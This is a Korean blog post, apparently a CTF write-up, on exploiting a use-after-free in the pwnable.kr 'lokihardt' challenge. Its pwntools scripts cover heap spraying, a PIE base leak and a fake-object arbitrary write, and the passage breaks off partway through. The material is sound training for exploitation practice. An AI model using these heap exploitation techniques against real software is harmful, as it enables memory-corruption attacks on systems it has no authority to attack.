{"id":4173,"date":"2026-08-24T12:10:38","date_gmt":"2026-08-24T03:10:38","guid":{"rendered":"https:\/\/h4ck.kr\/?p=4173"},"modified":"2026-08-24T12:10:40","modified_gmt":"2026-08-24T03:10:40","slug":"pwnable-kr-lokihardt","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=4173","title":{"rendered":"[pwnable.kr] lokihardt"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">Environment<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">Ubuntu 16.04.7 LTS<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\ubb38\uc81c \uc18c\uc2a4\ucf54\ub4dc \ubc0f \uc2e4\ud589 \ud30c\uc77c<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/giladreti\/pwnable\/tree\/master\/lokihardt\">https:\/\/github.com\/giladreti\/pwnable\/tree\/master\/lokihardt<\/a><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">checksec<\/h1>\n\n\n\n<pre class=\"wp-block-code\"><code>seo@ubuntu:~\/lokihardt$ checksec .\/lokihardt.orig\n&#91;!] Could not populate PLT: invalid syntax (unicorn.py, line 157)\n&#91;*] '\/home\/seo\/lokihardt\/lokihardt.orig'\n    Arch:       amd64-64-little\n    RELRO:      Full RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        PIE enabled\n    Stripped:   No\n<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">\uc2dc\ud589\ucc29\uc624<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">alloc \ub531 \ud55c\ubc88 \ud588\uc744 \uc2dc \uba54\ubaa8\ub9ac \ud560\ub2f9 \ub0b4\uc6a9<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>alloc_once.py<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env python3\n\nfrom pwn import *\ncontext.log_level = 'debug'\ncontext(arch='amd64', os='linux')\nwarnings.filterwarnings('ignore')\nimport sys\n\np = process(\".\/lokihardt\") # local\n# p = process(\".\/lokihardt\", env={\"LD_PRELOAD\": \".\/libc.so.6_patched\"})\n\ne = ELF('.\/lokihardt',checksec=False)\nl = ELF('\/lib\/x86_64-linux-gnu\/libc.so.6', checksec=False) # local\n\ns = lambda str: p.send(str)\nsl = lambda str: p.sendline(str)\nsa = lambda delims, str: p.sendafter(delims, str)\nsla = lambda delims, str: p.sendlineafter(delims, str)\nr = lambda numb=4096: p.recv(numb)\nrl = lambda: p.recvline()\nru = lambda delims: p.recvuntil(delims)\nuu32 = lambda data: u32(data.ljust(4, b\"\\x00\"))\nuu64 = lambda data: u64(data.ljust(8, b\"\\x00\"))\nli = lambda str, data: log.success(str + \"========&gt;\" + hex(data))\nip = lambda: input()\npi = lambda: p.interactive()\n\ndef alloc(idx, rdata, wdata):\n    sla(\"&gt; \", \"1\")\n    sla(\"idx? \", str(idx))\n\n    if rdata or wdata:\n        s(rdata)\n        s(wdata)\n\ndef delete(idx):\n    sla(\"&gt; \", \"2\")\n    sla(\"idx? \", str(idx))\n\ndef use(idx):\n    sla(\"&gt; \", \"3\")\n    sla(\"idx? \", str(idx))\n\ndef gc():\n    sla(\"&gt; \", \"4\")\n\ndef alloc_obj(rdata, wdata):\n    sla(\"&gt; \", \"5\")\n    s(rdata)\n    s(wdata)\n\nalloc(0, b\"A\"*256, b\"B\"*16)\n\npi()\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\uba54\ubaa8\ub9ac \ud560\ub2f9 \uacb0\uacfc<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>gdb-peda$ parseheap\naddr                prev                size                 status              fd                bk \n0x5584574a9000      0x0                 0x330                Used                None              None\n0x5584574a9330      0xcccccccccccccc    0x120                Used                None              None\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"567\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-19-02.31.07.excalidraw-1-1024x567.png\" alt=\"\" class=\"wp-image-4174\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-19-02.31.07.excalidraw-1-1024x567.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-19-02.31.07.excalidraw-1-300x166.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-19-02.31.07.excalidraw-1-768x425.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-19-02.31.07.excalidraw-1-1536x850.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-19-02.31.07.excalidraw-1-2048x1134.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">refCount\ub97c 0\uc73c\ub85c \ub9cc\ub4e4\uace0 gc \ud2b8\ub9ac\uac70\ud558\uc5ec,<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">dangling ptr \ub9cc\ub4e4\uae30<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ucf54\ub4dc\ub97c \ud655\uc778\ud574\ubcf4\uba74, <code>ArrayBuffer[idx]<\/code>\uc5d0 \ud560\ub2f9\ub41c \uc8fc\uc18c\uac00 \uc788\ub294\uc9c0 \ud310\ub2e8\ud558\uc9c0 \uc54a\ub294\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uadf8\ub798\uc11c <code>Delete<\/code>\ub97c \ud638\ucd9c\ud558\uba74 \ud56d\uc0c1 <code>refCount<\/code>\ub97c \uac10\uc18c\uc2dc\ud0a8\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>void Delete(unsigned int idx){\n    ArrayBuffer&#91;idx] = NULL;\n    refCount--;\n}\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\ucc98\uc74c\uc5d0 \uc778\ub371\uc2a40\uc5d0\ub2e4\uac00 \ud560\ub2f9\ud55c \ub2e4\uc74c, \ud560\ub2f9\ub418\uc9c0 \uc54a\uc740 \uc778\ub371\uc2a41\uc744 \ub300\uc0c1\uc73c\ub85c <code>Delete()<\/code>\ub97c \ud574\ubcf4\uc790.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env python3\n...\n\nalloc(0, b\"A\"*256, b\"B\"*16)\ndelete(1)\n\npi()\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\ucc98\uc74c \uc778\ub371\uc2a40\uc5d0 \ud560\ub2f9\ud558\ub824\uace0 \ud558\uba74, <code>Alloc()<\/code>\uc5d0\uc11c \ubb34\uc791\uc704 \ud06c\uae30\ub85c \ud560\ub2f9\ud55c \uc601\uc5ed\uc5d0 <code>0xcc<\/code>\ub85c \ub3c4\ubc30\ub41c \ud328\ub529\uc744 \ub123\ub294\ub2e4. \ud560\ub2f9\ub41c \uc601\uc5ed \uc8fc\uc18c\ub294 <code>randomPadding<\/code>\uc5d0 \uc9c0\uc815\ub41c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>ArrayBuffer[0]<\/code>\uc740 <code>theOBJ<\/code> \uc5d0 \uc758\ud574 \ud560\ub2f9\ub41c \uc8fc\uc18c\ub85c \uc9c0\uc815\ub418\uba70, <code>refCount<\/code>\ub294 \uc99d\uac00\ub428\uc5d0 \ub530\ub77c 1\uc774 \ub41c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>void Alloc(unsigned int idx){\n    unsigned int rlen;\n    if(refCount==0){\n        \/\/ According to some research papers, random-heap-padding mitigates heap exploits!\n        rlen = abs((rand()*1337) % 1024);\n        printf(\"rlen = %u\\n\", rlen);\n        randomPadding = malloc( rlen );\n        memset(randomPadding, 0xcc, rlen);\n        theOBJ = AllocOBJ();\n    }\n    ArrayBuffer&#91;idx] = theOBJ;\n    refCount++;\n}\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>theOBJ<\/code> \ub294 <code>AllocOBJ()<\/code>\uc5d0 \uc758\ud574 <code>POBJ<\/code> \uad6c\uc870\uccb4\uc758 \ud544\ub4dc\ub97c \ub2e4\uc74c\uacfc \uac19\uc774 \uac12\uc744 \uc9c0\uc815\uc2dc\ud0a8\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ud544\ub4dc \uc911 <code>rdata<\/code>\uc640 <code>wdata<\/code> , \ud574\ub2f9 2\uac00\uc9c0\ub294 \uc6b0\ub9ac\uac00 \uc784\uc758\ub85c \uc81c\uc5b4 \uac00\ub2a5\ud558\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POBJ AllocOBJ(){\n    POBJ res = (POBJ)malloc(sizeof(OBJ));\n    memset(res, 0, sizeof(OBJ));\n    res-&gt;type = \"null\";\n    fread(&amp;(res-&gt;rdata), 1, 256, stdin);\n    res-&gt;wdata = g_buf;\n    res-&gt;length = sizeof(g_buf);\n    fread(res-&gt;wdata, 1, res-&gt;length, stdin);\n    return res;\n}\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>Alloc()<\/code> \uc774\ud6c4, <code>Delete()<\/code> \ub97c \uc218\ud589\ud558\uba74, <code>refCount<\/code>\ub294 0\uc774 \ub41c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>ArrayBuffer<\/code>\uc5d0\uc11c \uc778\ub371\uc2a41\uc744 \ub300\uc0c1\uc73c\ub85c \uc218\ud589\ud588\uae30 \ub54c\ubb38\uc5d0, \uc778\ub371\uc2a40\uc5d0\ub294 \uc5ec\uc804\ud788 \uc8fc\uc18c\uac00 \ub0a8\uc544\uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gdb-peda$ x\/wx &amp;refCount\n0x5593a0374040 &lt;refCount&gt;:      0x00000000\ngdb-peda$ x\/16gx &amp;ArrayBuffer\n0x5593a0374048 &lt;ArrayBuffer&gt;:   0x00005593a0efc250      0x0000000000000000\n0x5593a0374058: 0x0000000000000000      0x0000000000000000\n0x5593a0374068: 0x0000000000000000      0x0000000000000000\n0x5593a0374078: 0x0000000000000000      0x0000000000000000\n0x5593a0374088: 0x0000000000000000      0x0000000000000000\n0x5593a0374098: 0x0000000000000000      0x0000000000000000\n0x5593a03740a8: 0x0000000000000000      0x0000000000000000\n0x5593a03740b8: 0x0000000000000000      0x0000000000000000\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774\uc81c \uc5ec\uae30\uc11c <code>gc()<\/code>\ub97c \uc218\ud589\ud55c\ub2e4\uba74?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>theOBJ<\/code>\uc640 <code>randomPadding<\/code>\uc744 \ub300\uc0c1\uc73c\ub85c \ud560\ub2f9 \ud574\uc81c\ud558\uc9c0\ub9cc, <code>ArrayBuffer<\/code>\uc758 \uc778\ub371\uc2a40\uc5d0 \uc5ec\uc804\ud788 \uc8fc\uc18c\uac00 \ub0a8\uc544\uc788\uae30 \ub54c\ubb38\uc5d0 dangling ptr\uac00 \ub41c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>void gc(){\n    if(refCount == 0 &amp;&amp; theOBJ != NULL){\n        free(theOBJ);\n        free(randomPadding);\n        theOBJ = NULL;\n    }\n}\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">ASAN \ud658\uacbd\uc73c\ub85c \ube4c\ub4dc\ud55c \ub2e4\uc74c,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>gcc -o lokihardt lokihardt.c -fPIC -pie -Wl,-z,now -fsanitize=address<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">dangling ptr\uc5d0 \uc811\uadfc\ud558\uae30 \uc704\ud574, \uc778\ub371\uc2a40\uc744 \ub300\uc0c1\uc73c\ub85c <code>Use()<\/code>\ub97c \uc218\ud589\ud574\ubcf4\uc790.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>alloc(0, b\"A\"*256, b\"B\"*16)\ndelete(1)\ngc()\n\nuse(0)\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>use(0)<\/code> \uc774\ud6c4\uc5d0\ub294, ASAN\uc5d0\uc11c \ud560\ub2f9\ud574\uc81c\ub41c \uba54\ubaa8\ub9ac \uc601\uc5ed\uc73c\ub85c\ubd80\ud130 \uac12\uc744 \uc77d\uc5c8\ub2e4\uace0 \ubc14\ub85c \uac10\uc9c0\ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774\ub807\uac8c Use After Free \ucde8\uc57d\uc810\uc774 \uc788\ub2e4\ub294 \uc99d\uba85\uc744 \ub9c8\uce5c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>=================================================================\n==2139==ERROR: AddressSanitizer: heap-use-after-free on address 0x61200000bfd0 at pc 0x55ce3f19897a bp 0x7fff19388e80 sp 0x7fff19388e70\nREAD of size 8 at 0x61200000bfd0 thread T0\n    #0 0x55ce3f198979 in Use (\/home\/seo\/lokihardt\/lokihardt+0x1979)\n    #1 0x55ce3f198e33 in main (\/home\/seo\/lokihardt\/lokihardt+0x1e33)\n    #2 0x7f418572283f in __libc_start_main (\/lib\/x86_64-linux-gnu\/libc.so.6+0x2083f)\n    #3 0x55ce3f198478 in _start (\/home\/seo\/lokihardt\/lokihardt+0x1478)\n\n0x61200000bfd0 is located 272 bytes inside of 280-byte region &#91;0x61200000bec0,0x61200000bfd8)\nfreed by thread T0 here:\n    #0 0x7f4185b642ca in __interceptor_free (\/usr\/lib\/x86_64-linux-gnu\/libasan.so.2+0x982ca)\n    #1 0x55ce3f19872f in gc (\/home\/seo\/lokihardt\/lokihardt+0x172f)\n    #2 0x55ce3f198e3f in main (\/home\/seo\/lokihardt\/lokihardt+0x1e3f)\n    #3 0x7f418572283f in __libc_start_main (\/lib\/x86_64-linux-gnu\/libc.so.6+0x2083f)\n\npreviously allocated by thread T0 here:\n    #0 0x7f4185b64602 in malloc (\/usr\/lib\/x86_64-linux-gnu\/libasan.so.2+0x98602)\n    #1 0x55ce3f198591 in AllocOBJ (\/home\/seo\/lokihardt\/lokihardt+0x1591)\n    #2 0x55ce3f198851 in Alloc (\/home\/seo\/lokihardt\/lokihardt+0x1851)\n    #3 0x55ce3f198d86 in main (\/home\/seo\/lokihardt\/lokihardt+0x1d86)\n    #4 0x7f418572283f in __libc_start_main (\/lib\/x86_64-linux-gnu\/libc.so.6+0x2083f)\n\nSUMMARY: AddressSanitizer: heap-use-after-free ??:0 Use\nShadow bytes around the buggy address:\n  0x0c247fff97a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c247fff97b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c247fff97c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c247fff97d0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd\n  0x0c247fff97e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=&gt;0x0c247fff97f0: fd fd fd fd fd fd fd fd fd fd&#91;fd]fa fa fa fa fa\n  0x0c247fff9800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c247fff9810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c247fff9820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c247fff9830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c247fff9840: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07\n  Heap left redzone:       fa\n  Heap right redzone:      fb\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack partial redzone:   f4\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n==2139==ABORTING\n<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">NULL \ubb38\uc790\uc5f4 \uc8fc\uc18c\ub97c \uc720\ucd9c\ud558\uace0, \ubc14\uc774\ub108\ub9ac PIE \ubca0\uc774\uc2a4 \uc8fc\uc18c \uad6c\ud558\uae30<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">dangling ptr\ub97c \ub9cc\ub4e0 \ub2e4\uc74c, <code>rdata<\/code>\uc640 <code>wdata<\/code>\ud544\ub4dc\uc5d0 <code>\u201cread\\x00\u201d<\/code> \ubb38\uc790\uc5f4\uc774 \ub3c4\ubc30\ub41c OBJ \uad6c\uc870\uccb4\uac00 \ud560\ub3d9\ub418\ub3c4\ub85d 10\ubc88 \ubc18\ubcf5\ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>alloc(0, b\"A\"*256, b\"B\"*16)\ndelete(1)\ngc()\n\n# rlen can be 0~1024 by code `rlen = abs((rand()*1337) % 1024);``\n# OBJ structure size is 280 bytes\n# So we should spray at least four times\nfor i in range(4):\n    alloc_obj(b\"read\\x00\"*int(256\/5) + b\"\\x00\", b\"read\\x00\"*int(16\/5) + b\"\\x00\")\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uadf8\ub9ac\uace0 <code>use(0)<\/code>\uc744 \uc218\ud589 \ud588\uc744 \ub54c, \uc5b4\ub290 \uc21c\uac04 NULL \ubb38\uc790\uc5f4 \uc8fc\uc18c\uc640 \ud568\uaed8 read \ubb38\uc790\uc5f4\uc774 \ub3c4\ubc30\ub418\uba74\uc11c \ub098\uc628\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"954\" height=\"821\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/image-7.png\" alt=\"\" class=\"wp-image-4175\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/image-7.png 954w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/image-7-300x258.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/image-7-767x660.png 767w\" sizes=\"auto, (max-width: 954px) 100vw, 954px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">leak\uc774 \ub420 \uc218 \uc788\uc5c8\ub358 \uc774\uc720\uc640 \uacfc\uc815\ub4e4\uc744 \uc124\uba85\ud558\uc790\uba74..<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc544\ub798 \ucf54\ub4dc\uc640 \uac19\uc774 \uccab \ud560\ub2f9\uc744 \ud588\uc744 \ub54c,<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>alloc(0, b\"A\"*256, b\"B\"*16)\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>randomPadding<\/code>\uc774 \uc55e\uc5d0 \ubd99\uc5b4 \uc788\uc5b4\uc11c, \uc774 \uc601\uc5ed\uc774 \ubcd1\ud569\/\uc7ac\ubd84\ud560\ub420 \ub54c \uc2a4\ud504\ub808\uc774 \uccad\ud06c\ub4e4\uc774 \uc6d0\ub798 <code>theOBJ<\/code> \uc790\ub9ac\uc5d0 \uc815\ud655\ud788 \uc548 \ub5a8\uc5b4\uc9c8 \ub54c\uac00 \ub9ce\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ud558\uc9c0\ub9cc \ub0b4 \ucf00\uc774\uc2a4\uc758 \uacbd\uc6b0, <code>rlen<\/code>\uc774 552\uc774\uc600\uace0, <code>ArrayBuffer[0]<\/code> \uac1d\uccb4 \uc2dc\uc791\ubcf4\ub2e4 0x10 \ub0ae\uc740 \uacf3\uc5d0 \ubc30\uce58\ub418\uc5c8\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uadf8 \uacb0\uacfc, <code>ArrayBuffer[0]<\/code>\uc5d0 \ub300\ud55c <code>type<\/code> \ud544\ub4dc\ub97c \uc77d\uc73c\uba74, <code>g_buf<\/code>\uc5d0 \uc800\uc7a5\ub418\uc788\ub358 <code>\u201cread\u201d<\/code>\uac00 \uc77d\ud788\uac8c \ub41c\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"715\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-19-02.31.07.excalidraw-1-1-1024x715.png\" alt=\"\" class=\"wp-image-4176\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-19-02.31.07.excalidraw-1-1-1024x715.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-19-02.31.07.excalidraw-1-1-300x210.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-19-02.31.07.excalidraw-1-1-767x536.png 767w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-19-02.31.07.excalidraw-1-1-1536x1073.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2026\/08\/Drawing-2026-08-19-02.31.07.excalidraw-1-1-2048x1431.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\ub530\ub77c\uc11c null \ubb38\uc790\uc5f4 \uc8fc\uc18c\ub97c \uc720\ucd9c\ud588\ub2e4\uba74, \ubca0\uc774\uc2a4 \uc8fc\uc18c\ub97c \uc27d\uac8c \uad6c\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\ucf54\ub4dc:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>for attempt in range(4141):\n    p = process(\".\/lokihardt\") # local\n\n    alloc(0, b\"A\"*256, b\"B\"*16)\n    delete(1)\n    gc()\n\n    # rlen can be 0~1024 by code `rlen = abs((rand()*1337) % 1024);``\n    # OBJ structure size is 280 bytes\n    # So we should spray at least four times\n    for i in range(4):\n        alloc_obj(b\"read\\x00\"*int(256\/5) + b\"\\x00\", b\"read\\x00\"*int(16\/5) + b\"\\x00\")\n\n    try:\n        use(0)\n        leak = rl()\n        if len(leak) &lt; 256:\n            raise EOFError\n    except EOFError:\n        warn(\"attempt %d: bad alignment, retrying...\" % attempt)\n        p.close()\n        continue\n\n    info(\"leak: {}\".format(leak))\n    null_rodata_address = uu64(leak&#91;:8])\n    info(\"leaked null address: {}\".format(hex(null_rodata_address)))\n\n    e.address = null_rodata_address - next(e.search(b\"null\"))\n    info(\"obtained lokihardt base address: {}\".format(hex(e.address)))\n    break\n\npi()\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\uc2e4\ud589 \uacb0\uacfc:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>...\n&#91;!] attempt 14: bad alignment, retrying...\n&#91;*] Stopped process '.\/lokihardt' (pid 4029)\n&#91;+] Starting local process '.\/lokihardt': pid 4031\n&#91;!] attempt 15: bad alignment, retrying...\n&#91;*] Stopped process '.\/lokihardt' (pid 4031)\n&#91;+] Starting local process '.\/lokihardt': pid 4033\n&#91;*] leak: b'8\\xd2\\xfd\\xbauU\\x00\\x00!\\x01\\x00\\x00\\x00\\x00\\x00\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00read\\x00- menu -\\n'\n&#91;*] leaked null address: 0x5575bafdd238\n&#91;*] obtained lokihardt base address: 0x5575bafdc000\n&#91;*] Switching to interactive mode\n- 1. : Alloc\n- 2. : Delete\n- 3. : Use\n- 4. : GarbageCollect\n- 5. : HeapSpray\n<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">libc \ubca0\uc774\uc2a4 \uc8fc\uc18c \uad6c\ud558\uae30<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">PIE \uc8fc\uc18c\ub97c \uad6c\ud588\uc73c\ub2c8 <code>ArrayBuffer<\/code> \uc804\uc5ed\ubcc0\uc218 \uc8fc\uc18c\uc640 write, read \ubb38\uc790\uc5f4 \uc8fc\uc18c\ub4e4\uc744 \ucc28\ub840\ub85c \uad6c\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> <code>   ...\n    \n    # ------------------------------------------------\n    ArrayBuffer_addr = e.sym.ArrayBuffer\n    info(\"ArrayBuffer@bss: {}\".format(hex(ArrayBuffer_addr)))\n    write_ro_addr = next(e.search(b\"write\"))\n    info(\"write@ro: {}\".format(hex(write_ro_addr)))\n    read_ro_addr = next(e.search(b\"read\"))\n    info(\"read@ro: {}\".format(hex(read_ro_addr)))\n    # ------------------------------------------------\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uadf8 \ub2e4\uc74c\uc73c\ub85c, <code>ArrayBuffer<\/code>\uc758 \uc778\ub371\uc2a41\uc744 \ub300\uc0c1\uc73c\ub85c \ud55c\ubc88 \ub354 dangling ptr\ub97c \ub9cc\ub4e0\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc804\uc5d0 \ud588\ub358 \uac83\ucc98\ub7fc \ub611\uac19\uc774 4\ubc88 \uc2a4\ud504\ub808\uc774\ud558\uc5ec, \uc6b0\ub9ac\uac00 \uc81c\uc5b4\ud55c fake OBJ \uad6c\uc870\uccb4\ub85c \uac00\ub9ac\ud0a4\ub3c4\ub85d \ub9cc\ub4e0\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc81c\uc5b4\ud558\ub294\ub370 \uc131\uacf5\ud588\uc744 \ub54c, \uc6d0\ud558\ub294 <code>ArrayBuffer[1]<\/code> \uad6c\uc870\uccb4 \uad6c\uc870\ub294 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>OBJ->rdata<\/code> = 256\ud06c\uae30\ub97c \ucc28\uc9c0\ud558\ub294\ub370, \uc0ac\uc2e4 \uc544\ubb34 \ub370\uc774\ud130\ub4e0 \uc0c1\uad00\uc5c6\uc74c<\/li>\n\n\n\n<li><code>OBJ->wdata<\/code> = <code>ArrayBuffer[2]<\/code> \uc8fc\uc18c<\/li>\n\n\n\n<li><code>OBJ->length<\/code> = 1024<\/li>\n\n\n\n<li><code>OBJ->type<\/code> = <code>\u201cwrite\u201d<\/code> \ubb38\uc790\uc5f4 \uc8fc\uc18c<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><code>g_buf<\/code> \uc5d0\ub294 \u201cread\u201d \ubb38\uc790\uc5f4 \uc8fc\uc18c\ub97c 2\ubc88 \ub123\uc5c8\ub294\ub370, \ucd94\ud6c4 libc \ubca0\uc774\uc2a4 \uc8fc\uc18c\ub97c \uad6c\ud560 \ub54c \ud544\uc694\ud558\ub2e4.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> <code>   alloc(1, b\"C\"*256, b\"D\"*16)\n    delete(2)\n    gc()\n\n    pay = b\"\"\n    pay += p64(ArrayBuffer_addr+16)                    # control wdata (where)\n    pay += p64(1024)                    # control length\n    pay += p64(write_ro_addr)     # control type (what)\n    pay = pay*int(256\/len(pay)) + pay[:(256%len(pay))]\n    for i in range(4):\n        alloc_obj(pay, p64(read_ro_addr)*2)  # write read string ptr to g_buf\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc81c\uc5b4\ud558\ub294\ub370 \uc131\uacf5\ud588\ub2e4\uba74, <code>use(1)<\/code>\uc744 \uc218\ud589\ud588\uc744 \ub54c <code>your data?<\/code> \ubb38\uc790\uc5f4\uc774 \ucd9c\ub825 \ub420 \uac83\uc774\uba70,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774\uc81c <code>ArrayBuffer[2]<\/code> \uc8fc\uc18c\ubd80\ud130 1024\ubc14\uc774\ud2b8\ub9cc\ud07c \uc6b0\ub9ac\uac00 \uc6d0\ud558\ub294 \ub370\uc774\ud130\ub97c \uc4f8 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ub098\ub294 \uc544\ub798\uc640 \uac19\uc774 \ub370\uc774\ud130\ub97c \uad6c\uc131\ud574\uc8fc\uc5c8\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u2026 +0x0: <code>g_buf+8<\/code> \uc8fc\uc18c\uac12\uc5d0\uc11c <code>0x110<\/code>\ub9cc\ud07c \ube80 \uac12<\/li>\n\n\n\n<li>\u2026 +0x8: <code>ArrayBuffer<\/code> \uc804\uc5ed\ubcc0\uc218 \uc8fc\uc18c \uac12<\/li>\n\n\n\n<li>\u2026 +0x10 ~ +0x1024: 